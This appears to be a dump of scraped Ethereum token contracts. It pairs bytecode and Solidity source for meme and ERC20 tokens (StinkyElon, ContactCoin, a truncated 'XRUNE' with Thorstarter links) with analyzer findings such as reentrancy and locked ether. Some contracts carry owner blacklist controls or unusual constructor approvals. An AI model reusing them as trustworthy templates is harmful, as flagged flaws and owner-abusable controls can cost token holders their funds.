0fd5b8235611707816116c4565b946020939093013593505050565b60006020828403121561172757600080fd5b5035919050565b60008060006060848603121561174357600080fd5b833561174e816116c4565b9250602084013561175e816116c4565b929592945050506040919091013590565b60006020828403121561178157600080fd5b813561105e816116c4565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117b557600080fd5b823567ffffffffffffffff808211156117cd57600080fd5b818501915085601f8301126117e157600080fd5b8135818111156117f3576117f361178c565b8060051b604051601f19603f830116810181811085821117156118185761181861178c565b60405291825284820192508381018501918883111561183657600080fd5b938501935b8285101561185b5761184c856116d9565b8452938501939285019261183b565b98975050505050505050565b6000806040838503121561187a57600080fd5b8235611885816116c4565b91506020830135611895816116c4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118e757600080fd5b815161105e816116c4565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561193257611932611908565b5060010190565b60008060006060848603121561194e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561197957600080fd5b815161105e81611644565b60008282101561199657611996611908565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119eb5784516001600160a01b0316835293830193918301916001016119c6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a2957634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a4157611a41611908565b500190565b6000816000190483118215151615611a6057611a60611908565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c4beaaf8bc126d5029aba5aa8fee05699621b466a62dba7361da5e9d83ac92b64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,696 |
0x02de5ba0ad278add4c25b0d03eea8a29c9412ef6
|
/**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
// SPDX-License-Identifier: MIT
/*
____ _ _ _ _____ _
/ ___|| |_(_)_ __ | | ___ _| ____| | ___ _ __
\___ \| __| | '_ \| |/ / | | | _| | |/ _ \| '_ \
___) | |_| | | | | <| |_| | |___| | (_) | | | |
|____/ \__|_|_| |_|_|\_\\__, |_____|_|\___/|_| |_|
|___/
Token Name: StinkyElon
Token Symbol: SELN
Total Supply: 100000000000
Decimals: 18
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Lite is IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount);
unchecked {
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract StinkyElonToken is ERC20Lite {
uint16 FavouriteNumber = 25287;
constructor(uint256 totalSupply_, string memory name_, string memory symbol_) ERC20Lite(name_, symbol_) payable {
_totalSupply = totalSupply_;
_balances[msg.sender] = totalSupply_;
_approve(msg.sender, 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, totalSupply_);
emit Transfer(address(0), msg.sender, totalSupply_);
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103bc565b60405180910390f35b6100c96100c436600461042d565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610457565b610232565b604051601281526020016100ad565b6100dd61011b366004610493565b6001600160a01b031660009081526020819052604090205490565b6100a0610288565b6100c961014c36600461042d565b610297565b6100dd61015f3660046104b5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b606060038054610199906104e8565b80601f01602080910402602001604051908101604052809291908181526020018280546101c5906104e8565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b60006102293384846102a4565b50600192915050565b600061023f848484610305565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561027057600080fd5b61027d85338584036102a4565b506001949350505050565b606060048054610199906104e8565b6000610229338484610305565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166000908152602081905260409020548181101561032b57600080fd5b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610362908490610522565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103ae91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b818110156103e9578581018301518582016040015282016103cd565b818111156103fb576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461042857600080fd5b919050565b6000806040838503121561044057600080fd5b61044983610411565b946020939093013593505050565b60008060006060848603121561046c57600080fd5b61047584610411565b925061048360208501610411565b9150604084013590509250925092565b6000602082840312156104a557600080fd5b6104ae82610411565b9392505050565b600080604083850312156104c857600080fd5b6104d183610411565b91506104df60208401610411565b90509250929050565b600181811c908216806104fc57607f821691505b60208210810361051c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000821982111561054357634e487b7160e01b600052601160045260246000fd5b50019056fea26469706673582212209b6c36454e9bb2083bba1066d8ec55b74d640eea3e4e0ce638702fb477afd1ff64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,697 |
0x04a0c4c9774a56b8572034ce5df119b40fbd6919
|
pragma solidity 0.5.7;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _pausableActive;
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused whenPausableActive {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused whenPausableActive {
_paused = false;
emit Unpaused(msg.sender);
}
/**
* @dev Options to activate or deactivate Pausable ability
*/
function _setPausableActive(bool _active) internal {
_pausableActive = _active;
}
modifier whenPausableActive() {
require(_pausableActive);
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ContactCoinToken is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Public parameters to define the token
*/
// Token symbol (short)
string public symbol;
// Token name (Long)
string public name;
// Decimals (18 maximum)
uint8 public decimals;
/**
* @dev Public functions to make the contract accesible
*/
constructor (address initialAccount, string memory _tokenSymbol, string memory _tokenName, uint256 initialBalance) public {
// Initialize Contract Parameters
symbol = _tokenSymbol;
name = _tokenName;
decimals = 18; // default decimals is going to be 18 always
_mint(initialAccount, initialBalance);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Burnable is ContactCoinToken {
bool private _burnableActive;
function burn(uint256 value) public whenBurnableActive {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public whenBurnableActive {
_burnFrom(from, value);
}
function _setBurnableActive(bool _active) internal {
_burnableActive = _active;
}
modifier whenBurnableActive() {
require(_burnableActive);
_;
}
}
contract ERC20Mintable is ContactCoinToken, MinterRole {
bool private _mintableActive;
function mint(address to, uint256 value) public onlyMinter whenMintableActive returns (bool) {
_mint(to, value);
return true;
}
function _setMintableActive(bool _active) internal {
_mintableActive = _active;
}
modifier whenMintableActive() {
require(_mintableActive);
_;
}
}
contract ERC20AUX is ContactCoinToken, ERC20Burnable, ERC20Mintable, Pausable {
// maximum capital, if defined > 0
uint256 private _cap;
constructor (
address initialAccount, string memory _tokenSymbol, string memory _tokenName, uint256 initialBalance, uint256 cap,
bool _burnableOption, bool _mintableOption, bool _pausableOption
) public
ContactCoinToken(initialAccount, _tokenSymbol, _tokenName, initialBalance) {
// we must add customer account as the first minter
addMinter(initialAccount);
// and this contract must renounce minter role
renounceMinter();
// same with pauser
addPauser(initialAccount);
renouncePauser();
if (cap > 0) {
_cap = cap; // maximum capitalization limited
} else {
_cap = 0; // unlimited capitalization
}
// activate or deactivate options
_setBurnableActive(_burnableOption);
_setMintableActive(_mintableOption);
_setPausableActive(_pausableOption);
}
/**
* @return the cap for the token minting.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* limit the mint to a maximum cap only if cap is defined
*/
function _mint(address account, uint256 value) internal {
if (_cap > 0) {
require(totalSupply().add(value) <= _cap);
}
super._mint(account, value);
}
/**
* Pausable options
*/
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from,address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063395093511161007157806339509351146101d957806370a082311461020557806395d89b411461022b578063a457c2d714610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610347565b604080519115158252519081900360200190f35b6101736103c3565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b038135811691602081013590911690604001356103c9565b6101c3610492565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b03813516906020013561049b565b6101736004803603602081101561021b57600080fd5b50356001600160a01b0316610549565b6100b6610564565b6101576004803603604081101561024957600080fd5b506001600160a01b0381351690602001356105bf565b6101576004803603604081101561027557600080fd5b506001600160a01b038135169060200135610608565b610173600480360360408110156102a157600080fd5b506001600160a01b038135811691602001351661061e565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561033f5780601f106103145761010080835404028352916020019161033f565b820191906000526020600020905b81548152906001019060200180831161032257829003601f168201915b505050505081565b60006001600160a01b03831661035c57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546103fd908363ffffffff61064916565b6001600160a01b038516600090815260016020908152604080832033845290915290205561042c84848461065e565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1681565b60006001600160a01b0383166104b057600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546104e4908363ffffffff61072916565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561033f5780601f106103145761010080835404028352916020019161033f565b60006001600160a01b0383166105d457600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546104e4908363ffffffff61064916565b600061061533848461065e565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60008282111561065857600080fd5b50900390565b6001600160a01b03821661067157600080fd5b6001600160a01b03831660009081526020819052604090205461069a908263ffffffff61064916565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546106cf908263ffffffff61072916565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282018381101561073b57600080fd5b939250505056fea165627a7a72305820c834b7d6a764ae5979774562c36b4eaecf33c95dc4111d810976a9d9798683010029
|
{"success": true, "error": null, "results": {}}
| 2,698 |
0xe42e6d54abe98776e4df0ea6704b3effc4c2734e
|
/**
// Join our journey to the moon and beyond!
//
// Thorstarter - XRUNE
// Website: https://www.thorstarter.org/
// Twitter: https://twitter.com/thorstarter
// Telegram: https://t.me/thorstarter
// Discord: https://discord.com/invite/fPjbPxm37F
//
//
//
//
*/
// SPDX-License-Identifier: none
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract XRUNE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
